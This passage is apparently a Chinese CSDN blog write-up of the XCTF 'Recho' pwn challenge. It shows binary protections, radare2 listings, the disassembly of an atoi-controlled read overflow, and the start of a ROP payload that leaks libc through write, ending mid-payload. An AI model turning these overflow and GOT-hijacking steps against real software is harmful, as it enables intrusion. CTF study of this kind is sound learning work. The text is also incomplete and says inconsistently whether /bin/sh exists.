【pwn学习】GOT表劫持

本文介绍了如何利用GOT表劫持技术在XCTF-008-Recho例题中获取shell。通过分析函数行为,找到溢出点,利用write泄露libc地址,然后通过GOT表劫持获取syscall,并构造payload实现open-read-write操作,最终成功读取flag文件内容。
摘要由CSDN通过智能技术生成

例题

例题:XCTF-008-Recho

  1. 查看安全策略
root@kali:~/ctf/xctf/pwn# checksec 008_Recho 
[*] '/root/ctf/xctf/pwn/008_Recho'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
  1. 查看函数和字符串

    [0x00400630]> afl
    0x00400630    1 43           entry0
    0x00400660    4 50   -> 41   sym.deregister_tm_clones
    0x004006a0    4 58   -> 55   sym.register_tm_clones
    0x004006e0    3 28           entry.fini0
    0x00400700    4 38   -> 35   entry.init0
    0x004008b0    1 2            sym.__libc_csu_fini
    0x004008b4    1 9            sym._fini
    0x00400840    4 101          sym.__libc_csu_init
    0x00400791    6 164          main
    0x00400726    1 107          sym.Init
    0x00400610    1 6            sym.imp.setvbuf
    0x004005f0    1 6            sym.imp.alarm
    0x004005a0    3 23           sym._init
    0x004005d0    1 6            sym.imp.write
    0x004005e0    1 6            sym.imp.printf
    0x00400600    1 6            sym.imp.read
    0x00400620    1 6            sym.imp.atoi
    
    [0x00400630]> iz
    [Strings]                                                                                                                                                                      
    Num Paddr      Vaddr      Len Size Section  Type  String                                                                                                                       
    000 0x000008c4 0x004008c4  25  26 (.rodata) ascii Welcome to Recho server!\n                                                                                                   
    000 0x00001058 0x00601058   4   5 (.data) ascii flag    
    

    木有发现/bin/sh字符串,但是有个flag字符串,没有system函数。

    • write: 可以用来泄露libc地址
    • sym.__libc_csu_init:万能gadget
    • read:存入的内存空间小于读入大小时,发生溢出
  2. 寻找溢出点

    ​ 直接寻找,未发现溢出点,但是通过调试main可以发现。读入的第一个字符串将经过atoi()转化为整形,而这个结果将作为第二个read函数读取的长度限制。因此用户可以通过第一次的输入一个长度很大的数,再使用第二个read造成溢出。

    |      :|   0x004007c2      e859feffff     call sym.imp.atoi
    |      :|   0x004007c7      8945fc         mov dword [var_4h], eax
    |      :|   0x004007ca      837dfc0f       cmp dword [var_4h], 0xf
    |     ,===< 0x004007ce      7f07           jg 0x4007d7
    |     |:|   0x004007d0      c745fc100000.  mov dword [var_4h], 0x10    ; 16
    |     |:|   ; CODE XREF from main @ 0x4007ce
    |     `---> 0x004007d7      8b45fc         mov eax, dword [var_4h]
    |      :|   0x004007da      4863d0         movsxd rdx, eax
    |      :|   0x004007dd      488d45d0       lea rax, qword [var_30h]
    |      :|   0x004007e1      4889c6         mov rsi, rax
    |      :|   0x004007e4      bf00000000     mov edi, 0
    |      :|   0x004007e9      e812feffff     call sym.imp.read
    
  3. Payload

    ​ 有/bin/sh,没有system,尝试利用write泄露libc,payload有三个参数,需要用到rdi,rsi,rdx三个寄存器。

    payload = b'a' * (0x30 + 0x8)
    payload += p64(pop_rdi) + p64(0x1)
    payload += p64(pop_rsi) + p64(write_got)
    payload += p64(pop_rdx) + p64(0x8
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Morphy_Amo

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值